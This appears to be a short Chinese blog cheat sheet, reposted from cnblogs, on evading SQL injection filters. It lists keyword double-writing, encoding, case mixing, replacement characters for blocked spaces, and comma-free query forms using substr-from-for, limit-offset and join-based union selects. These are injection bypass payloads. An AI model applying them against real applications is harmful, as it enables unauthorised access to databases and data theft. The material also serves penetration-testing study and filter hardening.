常用的绕过技巧
1)双写
2)编码
3)大小写混写
4)函数代替
5)注释
下面记录一些具体检测场景的绕过
空格在SQL语句中是起到分隔符的作用,为了能够让解析器能解析SQL语句,所以很重要
如果被过滤了,尝试编码(%20)也没法通过的话,只能找替代了,下面列举一些替代
1)TAB键(%09 %0b)
2)换行(%0a)
3)换页(%0c)
4)回车(%0d)
5)括号
6)引号
7)反引号
我们注入时,逗号的使用主要是截断函数、limit
1)截断函数
substr(database() from 1 for 1)
eg : select substr(user from 2 for 1) from users where user_id=1 limit 0,1;
说明:从2角标开始,截取1长度的字符串
2)limit
使用offset
eg:select * from users where user_id=1 limit 1 offset 0;
说明:从0角标开始,获取1行
3)join
我们可以把数据单个输出表,然后使用jion拼起来
eg:union select 1,2,3,4,5
--> union select * from ((selet 1) join (select 2) join (select 3) join (select 4) join (select 5))
(未完待续)
原文:https://www.cnblogs.com/alummox/p/9551480.html